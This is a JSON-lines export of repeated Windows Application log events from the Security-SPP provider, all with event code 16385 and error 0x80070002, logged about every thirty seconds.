{"@timestamp":1659005154286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172155}}
{"@timestamp":1659005184326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172156}}
{"@timestamp":1659005214336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172157}}
{"@timestamp":1659005244343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172158}}
{"@timestamp":1659005274350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172159}}
{"@timestamp":1659005304358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172160}}
{"@timestamp":1659005334365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172161}}
{"@timestamp":1659005364373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172162}}
{"@timestamp":1659005394380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172163}}
{"@timestamp":1659005424387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172164}}
{"@timestamp":1659005454396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172165}}
{"@timestamp":1659005484403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172166}}
{"@timestamp":1659005514411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172167}}
{"@timestamp":1659005544418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172168}}
{"@timestamp":1659005574426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172169}}
{"@timestamp":1659005604434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172170}}
{"@timestamp":1659005634441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172171}}
{"@timestamp":1659005664448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172172}}
{"@timestamp":1659005694454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172173}}
{"@timestamp":1659005724462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172174}}
{"@timestamp":1659005754469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172175}}
{"@timestamp":1659005784477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172176}}
{"@timestamp":1659005814485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172177}}
{"@timestamp":1659005844490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172178}}
{"@timestamp":1659005874496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172179}}
{"@timestamp":1659005904512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172180}}
{"@timestamp":1659005934517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172181}}
{"@timestamp":1659005964524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172182}}
{"@timestamp":1659005994529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172183}}
{"@timestamp":1659006024535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172184}}
{"@timestamp":1659006054542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172185}}
{"@timestamp":1659006084549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172186}}
{"@timestamp":1659006114555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172187}}
{"@timestamp":1659006144561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172188}}
{"@timestamp":1659006174566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172189}}
{"@timestamp":1659006204572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172190}}
{"@timestamp":1659006234578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172191}}
{"@timestamp":1659006264585,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172192}}
{"@timestamp":1659006294591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172193}}
{"@timestamp":1659006324597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172194}}
{"@timestamp":1659006354604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172195}}
{"@timestamp":1659006384610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172196}}
{"@timestamp":1659006414618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172197}}
{"@timestamp":1659006444623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172198}}
{"@timestamp":1659006474629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172199}}
{"@timestamp":1659006504635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172200}}
{"@timestamp":1659006534643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172201}}
{"@timestamp":1659006564649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172202}}
{"@timestamp":1659006594656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172203}}
{"@timestamp":1659006624662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172204}}
{"@timestamp":1659006654669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172205}}
{"@timestamp":1659006684676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172206}}
{"@timestamp":1659006714684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172207}}
{"@timestamp":1659006744691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172208}}
{"@timestamp":1659006774697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172209}}
{"@timestamp":1659006804704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172210}}
{"@timestamp":1659006834711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172211}}
{"@timestamp":1659006864717,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172212}}
{"@timestamp":1659006894724,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172213}}
{"@timestamp":1659006924732,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172214}}
{"@timestamp":1659006954740,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172215}}
{"@timestamp":1659006984747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172216}}
{"@timestamp":1659007014754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172217}}
{"@timestamp":1659007044761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172218}}
{"@timestamp":1659007074768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172219}}
{"@timestamp":1659007104776,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172220}}
{"@timestamp":1659007134784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172221}}
{"@timestamp":1659007164790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172222}}
{"@timestamp":1659007194797,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172223}}
{"@timestamp":1659007224804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172224}}
{"@timestamp":1659007254810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172225}}
{"@timestamp":1659007284817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172226}}
{"@timestamp":1659007314824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172227}}
{"@timestamp":1659007344832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172228}}
{"@timestamp":1659007374839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172229}}
{"@timestamp":1659007404845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172230}}
{"@timestamp":1659007434851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172231}}
{"@timestamp":1659007464861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172232}}
{"@timestamp":1659007494867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172233}}
{"@timestamp":1659007524873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172234}}
{"@timestamp":1659007554880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172235}}
{"@timestamp":1659007584887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172236}}
{"@timestamp":1659007614893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172237}}
{"@timestamp":1659007644899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172238}}
{"@timestamp":1659007674905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172239}}
{"@timestamp":1659007704911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172240}}
{"@timestamp":1659007734917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172241}}
{"@timestamp":1659007764926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172242}}
{"@timestamp":1659007794932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172243}}
{"@timestamp":1659007824939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172244}}
{"@timestamp":1659007854947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172245}}
{"@timestamp":1659007884953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172246}}
{"@timestamp":1659007914959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172247}}
{"@timestamp":1659007944965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172248}}
{"@timestamp":1659007974972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172249}}
{"@timestamp":1659008004981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172250}}
{"@timestamp":1659008034987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172251}}
{"@timestamp":1659008064993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:24Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172252}}
{"@timestamp":1659008095000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:54Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172253}}
{"@timestamp":1659008125006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172254}}
{"@timestamp":1659008155013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172255}}
{"@timestamp":1659008185020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172256}}
{"@timestamp":1659008215027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172257}}
{"@timestamp":1659008245034,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172258}}
{"@timestamp":1659008275041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172259}}
{"@timestamp":1659008305048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172260}}
{"@timestamp":1659008335055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172261}}
{"@timestamp":1659008365061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172262}}
{"@timestamp":1659008395068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:55Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172263}}
